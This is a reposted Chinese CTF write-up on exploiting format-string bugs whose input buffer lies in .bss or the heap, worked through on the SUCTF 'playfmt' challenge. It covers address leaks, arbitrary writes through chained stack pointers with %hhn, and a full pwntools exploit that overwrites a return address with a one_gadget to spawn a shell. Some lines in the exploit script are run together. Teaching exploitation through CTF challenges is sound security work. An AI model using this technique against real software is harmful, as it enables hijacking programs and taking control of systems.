本文转自:安全客
原文链接:非栈上格式化字符串漏洞利用技巧
0x00 前言
关于Linux栈上格式化字符串漏洞的利用网上已经有许多讲解了,但是非栈上的格式化字符串漏洞很少有人介绍。这里主要以上周末SUCTF比赛中playfmt题目为例,详细介绍一下bss段上或堆上的格式化字符串利用技巧。
0x01 基础知识点
格式化字符串漏洞的具体原理就不再详细叙述,这里主要简单介绍一下格式化参数位置的计算和漏洞利用时常用的格式字符。 参数位置计算 linux下32位程序是栈传参,从左到右参数顺序为$esp+4,$esp+8,...;因此$esp+x的位置应该是格式化第x/4个参数。 linux下64位程序是寄存器加栈传参,从左到右参数顺序为$rdi,$rsi,$rdx,$rcx,$r8,$r9,$rsp+8,...;因此$rsp+x的位置应该是格式化第x/8+6个参数。 常用的格式化字符用于地址泄露的格式化字符有:%x、%s、%p等; 用于地址写的格式化字符:%hhn(写入一字节),%hn(写入两字节),%n(32位写四字节,64位写8字节); %< number>$type:直接作用第number个位置的参数,如:%7$x读第7个位置参数值,%7$n对第7个参数位置进行写。 %<number>c:输出number个字符,配合%n进行任意地址写,例如"%{}c%{}$hhn".format(address,offset)就是向offset0参数指向的地址最低位写成address。
0x02 非栈上格式化字符串漏洞利用 一般来说,栈上的格式化字符串漏洞利用步骤是先泄露地址,包括ELF程序地址和libc地址;然后将需要改写的GOT表地址直接传到栈上,同时利用%c%n的方法改写入system或one_gadget地址,最后就是劫持流程。但是对于BSS段或是堆上格式化字符串,无法直接将想要改写的地址指针放置在栈上,也就没办法实现任意地址写。下面以SUCTF中playfmt为例,介绍一下常用的非栈上格式化字符串漏洞的利用方法。
0x03 例题 题目说明程序漏洞点比较明显,直接写了一个循环的printf格式化漏洞,而输入的数据是存储在buf指针上,buf则是位于bss段中地址为0x0804B040。 - int do_fmt(void)
- {
- int result; // eax
- while ( 1 )
- {
- read(0, buf, 0xC8u);
- result = strncmp(buf, "quit", 4u);
- if ( !result )
- break;
- printf(buf);
- }
- return result;
- }
复制代码- .bss:0804B040 public buf
- .bss:0804B040 ; char buf[200]
- .bss:0804B040 buf db 0C8h dup(?) ; DATA XREF: do_fmt(void)+E↑o
复制代码 查看一下程序的保护,可以发现开启了RELRO,也就是无法改写GOT表,所以思路就是直接修改栈上的返回地址,return的时候劫持流程。
泄漏地址
首先需要得到当前栈的地址和libc的基地址,这些地址可以很轻松的在栈上找到,其中esp+0x18存放了栈地址,esp+0x20存放了libc的地址,可以得到分别是第6个参数和第8个参数,直接传入%6$p%8$p即可得到栈地址和libc地址。
任意地址写
这里主要需要解决的就是如何将要改写的地址放在栈上。实现任意地址写需要依赖栈上存在一个链式结构,如0xffb5c308->0xffb5c328->0xffb5c358,这三个地址都在栈上。
下图是一个简单的栈地址空间图,offset表示格式化的参数位置。通过第offset0个参数,利用%hhn可以控制address1的最低位,再通过第offset1个参数,利用%hhn可以写address2的最低位;然后通过offset0参数,利用%hhn修改address1的最低位为原始值+1,再通过offset1参数,利用%hhn可以写address2的次低位;依次循环即可完全控制address2的值,再次利用address1和address2的链式结构,即可实现对address2地址空间的任意写。对应到上面显示的地址空间,address0=0xffb5c308,offset0=0x18/4=6;address1=0xffb5c328,offset1=0x38/4=14;address2=0xffb5c358,offset2=0x68/4=26;
下面是地址写代码的实现,首先获取address1的最低位的原始值,然后依次写address2的各个字节。
- def write_address(off0,off1,target_addr):
- io.sendline("%{}$p".format(off1))
- io.recvuntil("0x")
- addr1 = int(io.recv(8),16)&0xff
- io.recv()
- for i in range(4):
- io.sendline("%{}c%{}$hhn".format(addr1+i,off0))
- io.recv()
- io.sendline("%{}c%{}$hhn".format(target_addr&0xff,off1))
- io.recv()
- target_addr=target_addr>>8
- io.sendline("%{}c%{}$hhn".format(addr1,off0))
- io.recv()
复制代码
效果图如下,可以看到esp+0x68的位置已经是栈上返回地址的存放位置(这是另一次的运行截图,栈地址有所变化)。
再次运行write_address将0xfff566cc写上one_gadget地址(libc.address+ 0x5f065)。
最后输入quit退出循环,执行return resultEXP时就能获取shell。
EXP - # coding=utf-8from pwn import *#io = remote('120.78.192.35', 9999)io = process("./playfmt")
- elf = ELF('./playfmt')
- libc = ELF('/lib32/libc-2.23.so')#context.log_level = 'DEBUG'#gdb.attach(io,"b *0x0804889f")io.recv()
- io.sendline("%6$p%8$p")
- io.recvuntil("0x")
- stack_addr = int(io.recv(8),16)-0xffffd648+0xffffd610io.recvuntil("0x")
- libc.address = int(io.recv(8),16)-0xf7e41000+0xf7c91000log.success("stack_addr:"+hex(stack_addr))
- log.success("libc_addr:"+hex(libc.address))
- io.recv()
- offset0=0x18/4offset1=0x38/4offset2=0x68/4def write_address(off0,off1,target_addr):
- io.sendline("%{}$p".format(off1))
- io.recvuntil("0x")
- addr1 = int(io.recv(8),16)&0xff
- io.recv() for i in range(4):
- io.sendline("%{}c%{}$hhn".format(addr1+i,off0))
- io.recv()
- io.sendline("%{}c%{}$hhn".format(target_addr&0xff,off1))
- io.recv()
- target_addr=target_addr>>8
- io.sendline("%{}c%{}$hhn".format(addr1,off0))
- io.recv()
- one_gadget = libc.address+ 0x5f065print(hex(one_gadget))
- write_address(offset0,offset1,stack_addr+0x1c)#gdb.attach(io,"b *0x0804889f")write_address(offset1,offset2,one_gadget)
- io.sendline("quit")
- io.interactive()
复制代码
0x04 思考总结
这里简单总结一下上述漏洞利用的使用条件:
首先是需要一个循环触发格式化字符串漏洞的条件,上述的例题中直接存在循环触发漏洞的情况,如果实际情况只能单次触发,可以尝试能否劫持__libc_csu_fini/malloc/free等函数造成循环触发漏洞; 然后就是需要栈上存在单链表结构,64位程序需要三个节点地址,32位程序可能只需要两个节点(本地测试32位的地址可以通过%n一次性写入); 最后需要在循环触发漏洞的期间,栈上使用到的地址空间不被破坏。
|